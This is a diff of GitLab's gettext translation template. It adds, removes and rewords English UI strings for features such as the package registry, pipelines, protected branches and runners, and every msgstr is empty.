-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
